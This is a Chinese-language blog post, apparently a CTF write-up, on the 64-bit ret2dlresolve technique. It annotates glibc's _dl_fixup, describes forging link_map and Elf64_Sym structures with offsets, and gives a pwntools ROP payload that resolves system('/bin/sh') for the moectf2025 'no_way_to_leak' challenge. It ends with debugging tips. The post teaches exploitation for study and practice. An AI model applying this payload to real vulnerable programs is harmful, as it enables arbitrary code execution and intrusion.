      THREAD_GSCOPE_SET_FLAG ();
      flags |= DL_LOOKUP_GSCOPE_LOCK;
    }
 
      RTLD_ENABLE_FOREIGN_CALL;
    // 在32位情况下上面代码运行中不会出错就会走到这里这里通过strtab+sym->st_name找到符号表字符串result为libc基地址
      result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
                    version, ELF_RTYPE_CLASS_PLT, flags, NULL);
 
      /* We are done with the global scope.  */
      if (!RTLD_SINGLE_THREAD_P)
    THREAD_GSCOPE_RESET_FLAG ();
 
      RTLD_FINALIZE_FOREIGN_CALL;
 
      /* Currently result contains the base load address (or link map)
     of the object that defines sym.  Now add in the symbol
     offset.  */
      // 同样如果正常执行接下来会来到这里得到value的值为libc基址加上要解析函数的偏移地址也即实际地址即result+st_value
      value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);
    }
  else
    {
      // 这里就是64位下利用的关键在最上面的if不成立后就会来到这里,这里value的计算方式是 l->l_addr + st_value,我们的目的是使value为我们所需要的函数的地址所以就得控制两个参数l_addr  st_value
      /* We already found the symbol.  The module (and therefore its load
     address) is also known.  */
      value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
      result = l;
    }
 
  /* And now perhaps the relocation addend.  */
  value = elf_machine_plt_value (l, reloc, value);
 
  if (sym != NULL
      && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
    value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));
 
  /* Finally, fix up the plt itself.  */
  if (__glibc_unlikely (GLRO(dl_bind_not)))
    return value;
  // 最后把value写入相应的GOT表条目中
  return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}

来自www.cnblogs.com/xshhc/p/17335007.html

总结来说,要绕过这一次_dl_fixup的检测,我们需要

  1. Elf64_Sym中的st_other=0
  2. 控制l->l_addr=system_libc-a_libc; sym->st_value=a_got a为已经解析过的一个函数

上面两个实现以后,就可以有

l->l_addr+sym->st_value=system_libc-a_libc+a_got=system_libc_real

因此需要伪造Elf_Sym​​以及link_map
在64位中的link_map发生了较大的变化,不过我们只需要知道这一次的.dynsym .dynstr以及.rel.plt是从l->l_info[]中取出的

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
//0x68  strtab
//0x70  symtab
//0xf8   relplt
struct link_map {
    Elf64_Addr l_addr;
    char *l_name;
    Elf64_Dyn *l_ld;
    struct link_map *l_next;
    struct link_map *l_prev;
    struct link_map *l_real;
    Lmid_t l_ns;
    struct libname_list *l_libname;
    Elf64_Dyn *l_info[76];
...
}

image

对应的偏移也发生了改变

.dynstr 指针:位于 .dynamic +0x88 (32位下是0x44)

.dynsym 指针:位于 .dynamic + 0x98 (32位下是0x4c)

.rel.plt 指针:位于 .dynamic +0x108 (32位下是0x84)

以moectf2025 no_way_to_leak为例

image

image

然后我们来查看一下l_info.dynamic段这些指针的关系

image

DT_STRTAB指针:位于 link_map_addr +0x68(32位下是0x34)

DT_SYMTAB指针:位于 link_map_addr + 0x70(32位下是0x38)

DT_JMPREL指针:位于 link_map_addr +0xF8(32位下是0x7C)

然后通过取出这些指针的值然后+0x8就可以拿到dynamic段的对应地址了

我们需要修改 link_map 中的 l_addr 为 system_libc - a_libc 的值, l_info 中的 DT_STRTAB指针、DT_SYMTAB指针、DT_JMPREL指针来伪造 .dynstr 、 .dynsym、.rel.plt 段。并且在 fake_Elf_Sym 结构体中的 st_value 为一个已经解析过的( a )函数的 got 表地址。

只需要修改 fake_Elf_Sym 为 a 函数的 got 表地址 - 0x8,那么顺带着 sym -> st_other != 0 的条件也会满足。由于 link_map 结构体比较大,因此我们也将 fake_Elf_Sym 结构体和 “/bin/sh\x00” 也写进去

直接使用pwntools的工具

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
rop = ROP(elf)
rop.raw(rop.ret.address)
dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
rop.read(0, dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
raw_rop = rop.chain()

payload = flat({
    120: raw_rop,
    256: dlresolve.payload
})
sl(payload)
io.interactive()

可能的问题

在_dl_fixup函数中报错了?

如果你使用了栈迁移,那么可以检查栈和dlresolvepayload是否离bss起始地址太近。

_dl_runtime_resolve函数中,程序会对栈进行多次抬高和降低操作,因此需要将这些数据尽量放到更远的地方。

还有,确定好你的Elf32_Sym结构体是正常十六字节对齐的,并且偏移正确

NO RELRO的情况下需要修改DYNAMIC段的指针,而IDA中该指针位于IDA看不到的地方,怎么办?

你是否已经patchlibc?如果是,请用一个没有patch的附件进行查看。

若没有,那么请参照如下方式:

使用pwntools来查看dynstr表的地址:

1
print(hex(elf.get_section_by_name('.dynstr').header.sh_addr))

然后在gdb中使用search -8来搜索该地址,如上一步中若得到值0x3fd450,则在gdb中搜索如下:

1
search -8 0x3fd450

或者在pwntools中查找dynamic地址:

1
print(hex(elf.get_section_by_name('.dynamic').header.sh_addr))

并使用gdb在这一段来查找上一步中找到的dynstr地址。

参考链接

本博客已稳定运行
发表了52篇文章 · 总计20万3千字

浙ICP备2024137952号 『网站统计』

𝓌𝒶𝒾𝓉 𝒻ℴ𝓇 𝒶 𝒹ℯ𝓁𝒾𝓋ℯ𝓇𝒶𝓃𝒸ℯ
使用 Hugo 构建
主题 StackJimmy 设计
⬆️该页面访问量Loading...